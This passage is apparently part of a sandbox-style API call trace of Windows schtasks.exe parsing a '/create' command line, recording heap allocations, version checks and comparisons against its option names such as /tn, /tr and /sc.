lstrlenW (lpString="|showsid|") returned 9 [0069.934] lstrlenW (lpString="|f|") returned 3 [0069.934] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0069.934] SetLastError (dwErrCode=0x490) [0069.934] SetLastError (dwErrCode=0x490) [0069.934] SetLastError (dwErrCode=0x0) [0069.934] lstrlenW (lpString="/f") returned 2 [0069.934] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0069.934] SetLastError (dwErrCode=0x490) [0069.934] SetLastError (dwErrCode=0x0) [0069.934] lstrlenW (lpString="/f") returned 2 [0069.934] GetProcessHeap () returned 0x390000 [0069.934] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x6) returned 0x3addd0 [0069.934] GetProcessHeap () returned 0x390000 [0069.934] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace90 [0069.934] SetLastError (dwErrCode=0x0) [0069.934] GetProcessHeap () returned 0x390000 [0069.934] GetProcessHeap () returned 0x390000 [0069.935] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac2e0) returned 1 [0069.935] GetProcessHeap () returned 0x390000 [0069.935] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac2e0) returned 0x8 [0069.935] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac2e0 | out: hHeap=0x390000) returned 1 [0069.935] GetProcessHeap () returned 0x390000 [0069.935] GetProcessHeap () returned 0x390000 [0069.935] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd10) returned 1 [0069.935] GetProcessHeap () returned 0x390000 [0069.935] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd10) returned 0x20 [0069.935] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd10 | out: hHeap=0x390000) returned 1 [0069.935] GetProcessHeap () returned 0x390000 [0069.935] GetProcessHeap () returned 0x390000 [0069.935] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac370) returned 1 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac370) returned 0x12 [0069.936] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac370 | out: hHeap=0x390000) returned 1 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd40) returned 1 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd40) returned 0x20 [0069.936] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd40 | out: hHeap=0x390000) returned 1 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac390) returned 1 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac390) returned 0x8 [0069.936] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac390 | out: hHeap=0x390000) returned 1 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd70) returned 1 [0069.936] GetProcessHeap () returned 0x390000 [0069.936] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd70) returned 0x20 [0069.937] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd70 | out: hHeap=0x390000) returned 1 [0069.937] GetProcessHeap () returned 0x390000 [0069.937] GetProcessHeap () returned 0x390000 [0069.937] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3b0) returned 1 [0069.937] GetProcessHeap () returned 0x390000 [0069.937] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac3b0) returned 0xe [0069.937] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3b0 | out: hHeap=0x390000) returned 1 [0069.937] GetProcessHeap () returned 0x390000 [0069.937] GetProcessHeap () returned 0x390000 [0069.937] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acda0) returned 1 [0069.937] GetProcessHeap () returned 0x390000 [0069.937] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acda0) returned 0x20 [0069.938] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acda0 | out: hHeap=0x390000) returned 1 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3d0) returned 1 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac3d0) returned 0x8 [0069.938] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3d0 | out: hHeap=0x390000) returned 1 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acdd0) returned 1 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acdd0) returned 0x20 [0069.938] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acdd0 | out: hHeap=0x390000) returned 1 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3f0) returned 1 [0069.938] GetProcessHeap () returned 0x390000 [0069.938] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac3f0) returned 0x6 [0069.938] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3f0 | out: hHeap=0x390000) returned 1 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace00) returned 1 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace00) returned 0x20 [0069.939] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace00 | out: hHeap=0x390000) returned 1 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac410) returned 1 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac410) returned 0x8 [0069.939] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac410 | out: hHeap=0x390000) returned 1 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace30) returned 1 [0069.939] GetProcessHeap () returned 0x390000 [0069.939] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace30) returned 0x20 [0069.940] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace30 | out: hHeap=0x390000) returned 1 [0069.940] GetProcessHeap () returned 0x390000 [0069.940] GetProcessHeap () returned 0x390000 [0069.940] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9480) returned 1 [0069.940] GetProcessHeap () returned 0x390000 [0069.940] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a9480) returned 0x3c [0069.940] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9480 | out: hHeap=0x390000) returned 1 [0069.940] GetProcessHeap () returned 0x390000 [0069.940] GetProcessHeap () returned 0x390000 [0069.940] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace60) returned 1 [0069.940] GetProcessHeap () returned 0x390000 [0069.940] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace60) returned 0x20 [0069.941] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace60 | out: hHeap=0x390000) returned 1 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3addd0) returned 1 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3addd0) returned 0x6 [0069.941] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3addd0 | out: hHeap=0x390000) returned 1 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace90) returned 1 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace90) returned 0x20 [0069.941] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace90 | out: hHeap=0x390000) returned 1 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abab0) returned 1 [0069.941] GetProcessHeap () returned 0x390000 [0069.941] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abab0) returned 0x18 [0069.941] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x390000) returned 1 [0069.942] SetLastError (dwErrCode=0x0) [0069.942] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0069.942] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0069.942] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0069.942] VerifyVersionInfoW (in: lpVersionInformation=0x1fc6f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1fc6f0) returned 1 [0069.942] SetLastError (dwErrCode=0x0) [0069.942] lstrlenW (lpString="create") returned 6 [0069.942] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0069.942] SetLastError (dwErrCode=0x490) [0069.942] SetLastError (dwErrCode=0x0) [0069.942] lstrlenW (lpString="create") returned 6 [0069.942] GetProcessHeap () returned 0x390000 [0069.942] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace90 [0069.942] GetProcessHeap () returned 0x390000 [0069.942] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ad620 [0069.942] _memicmp (_Buf1=0x3ad620, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.942] GetProcessHeap () returned 0x390000 [0069.942] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x16) returned 0x3ad640 [0069.942] SetLastError (dwErrCode=0x0) [0069.942] _memicmp (_Buf1=0x3abb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.942] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3abd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0069.943] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0069.943] GetProcessHeap () returned 0x390000 [0069.943] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x74e) returned 0x3addd0 [0069.944] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3addd0 | out: lpData=0x3addd0) returned 1 [0069.944] VerQueryValueW (in: pBlock=0x3addd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1fc7d8, puLen=0x1fc840 | out: lplpBuffer=0x1fc7d8*=0x3ae16c, puLen=0x1fc840) returned 1 [0069.944] _memicmp (_Buf1=0x3abb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.944] _vsnwprintf (in: _Buffer=0x3abd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1fc7b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0069.944] VerQueryValueW (in: pBlock=0x3addd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1fc848, puLen=0x1fc838 | out: lplpBuffer=0x1fc848*=0x3adf98, puLen=0x1fc838) returned 1 [0069.944] lstrlenW (lpString="schtasks.exe") returned 12 [0069.944] lstrlenW (lpString="schtasks.exe") returned 12 [0069.944] lstrlenW (lpString=".EXE") returned 4 [0069.944] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0069.944] lstrlenW (lpString="schtasks.exe") returned 12 [0069.944] lstrlenW (lpString=".EXE") returned 4 [0069.944] lstrlenW (lpString="schtasks") returned 8 [0069.944] lstrlenW (lpString="/create") returned 7 [0069.944] _memicmp (_Buf1=0x3abb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.944] _vsnwprintf (in: _Buffer=0x3abd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1fc7b8 | out: _Buffer="schtasks /create") returned 16 [0069.944] _memicmp (_Buf1=0x3abb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.945] GetProcessHeap () returned 0x390000 [0069.945] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace60 [0069.945] _memicmp (_Buf1=0x3abbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.945] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3ad3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0069.945] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0069.945] GetProcessHeap () returned 0x390000 [0069.945] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x30) returned 0x3a7bc0 [0069.945] _vsnwprintf (in: _Buffer=0x3ac110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1fc7b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0069.945] GetProcessHeap () returned 0x390000 [0069.945] GetProcessHeap () returned 0x390000 [0069.945] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3addd0) returned 1 [0069.945] GetProcessHeap () returned 0x390000 [0069.945] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3addd0) returned 0x74e [0069.945] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3addd0 | out: hHeap=0x390000) returned 1 [0069.945] SetLastError (dwErrCode=0x0) [0069.945] GetThreadLocale () returned 0x409 [0069.945] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.945] lstrlenW (lpString="create") returned 6 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="?") returned 1 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="s") returned 1 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="u") returned 1 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="p") returned 1 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="ru") returned 2 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="rp") returned 2 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="sc") returned 2 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="mo") returned 2 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="d") returned 1 [0069.946] GetThreadLocale () returned 0x409 [0069.946] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.946] lstrlenW (lpString="m") returned 1 [0069.946] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="i") returned 1 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="tn") returned 2 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="tr") returned 2 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="st") returned 2 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="sd") returned 2 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="ed") returned 2 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="it") returned 2 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="et") returned 2 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="k") returned 1 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="du") returned 2 [0069.947] GetThreadLocale () returned 0x409 [0069.947] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.947] lstrlenW (lpString="ri") returned 2 [0069.948] GetThreadLocale () returned 0x409 [0069.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.948] lstrlenW (lpString="z") returned 1 [0069.948] GetThreadLocale () returned 0x409 [0069.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.948] lstrlenW (lpString="f") returned 1 [0069.948] GetThreadLocale () returned 0x409 [0069.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.948] lstrlenW (lpString="v1") returned 2 [0069.948] GetThreadLocale () returned 0x409 [0069.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.948] lstrlenW (lpString="xml") returned 3 [0069.948] GetThreadLocale () returned 0x409 [0069.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.948] lstrlenW (lpString="ec") returned 2 [0069.948] GetThreadLocale () returned 0x409 [0069.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.948] lstrlenW (lpString="rl") returned 2 [0069.948] GetThreadLocale () returned 0x409 [0069.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.948] lstrlenW (lpString="delay") returned 5 [0069.948] GetThreadLocale () returned 0x409 [0069.948] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.948] lstrlenW (lpString="np") returned 2 [0069.948] SetLastError (dwErrCode=0x0) [0069.948] SetLastError (dwErrCode=0x0) [0069.948] lstrlenW (lpString="/create") returned 7 [0069.948] lstrlenW (lpString="-/") returned 2 [0069.948] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.948] lstrlenW (lpString="create") returned 6 [0069.948] lstrlenW (lpString="create") returned 6 [0069.948] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.949] lstrlenW (lpString="create") returned 6 [0069.949] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.949] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|create|") returned 8 [0069.949] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|create|") returned 8 [0069.949] lstrlenW (lpString="|create|") returned 8 [0069.949] lstrlenW (lpString="|create|") returned 8 [0069.949] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0069.949] SetLastError (dwErrCode=0x0) [0069.949] SetLastError (dwErrCode=0x0) [0069.949] SetLastError (dwErrCode=0x0) [0069.949] lstrlenW (lpString="/tn") returned 3 [0069.949] lstrlenW (lpString="-/") returned 2 [0069.949] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.949] lstrlenW (lpString="create") returned 6 [0069.949] lstrlenW (lpString="create") returned 6 [0069.949] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.949] lstrlenW (lpString="tn") returned 2 [0069.949] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.949] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|create|") returned 8 [0069.949] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.949] lstrlenW (lpString="|create|") returned 8 [0069.949] lstrlenW (lpString="|tn|") returned 4 [0069.949] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0069.949] SetLastError (dwErrCode=0x490) [0069.949] lstrlenW (lpString="?") returned 1 [0069.949] lstrlenW (lpString="?") returned 1 [0069.949] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.949] lstrlenW (lpString="tn") returned 2 [0069.949] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.950] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|?|") returned 3 [0069.950] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.950] lstrlenW (lpString="|?|") returned 3 [0069.950] lstrlenW (lpString="|tn|") returned 4 [0069.950] SetLastError (dwErrCode=0x490) [0069.950] lstrlenW (lpString="s") returned 1 [0069.950] lstrlenW (lpString="s") returned 1 [0069.950] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.950] lstrlenW (lpString="tn") returned 2 [0069.950] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.950] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|s|") returned 3 [0069.950] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.950] lstrlenW (lpString="|s|") returned 3 [0069.950] lstrlenW (lpString="|tn|") returned 4 [0069.950] SetLastError (dwErrCode=0x490) [0069.950] lstrlenW (lpString="u") returned 1 [0069.950] lstrlenW (lpString="u") returned 1 [0069.950] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.950] lstrlenW (lpString="tn") returned 2 [0069.950] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.950] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|u|") returned 3 [0069.950] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.950] lstrlenW (lpString="|u|") returned 3 [0069.950] lstrlenW (lpString="|tn|") returned 4 [0069.950] SetLastError (dwErrCode=0x490) [0069.950] lstrlenW (lpString="p") returned 1 [0069.950] lstrlenW (lpString="p") returned 1 [0069.950] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.951] lstrlenW (lpString="tn") returned 2 [0069.951] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.951] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|p|") returned 3 [0069.951] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.951] lstrlenW (lpString="|p|") returned 3 [0069.951] lstrlenW (lpString="|tn|") returned 4 [0069.951] SetLastError (dwErrCode=0x490) [0069.951] lstrlenW (lpString="ru") returned 2 [0069.951] lstrlenW (lpString="ru") returned 2 [0069.951] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.951] lstrlenW (lpString="tn") returned 2 [0069.951] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.951] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|ru|") returned 4 [0069.951] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.951] lstrlenW (lpString="|ru|") returned 4 [0069.951] lstrlenW (lpString="|tn|") returned 4 [0069.951] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0069.951] SetLastError (dwErrCode=0x490) [0069.951] lstrlenW (lpString="rp") returned 2 [0069.951] lstrlenW 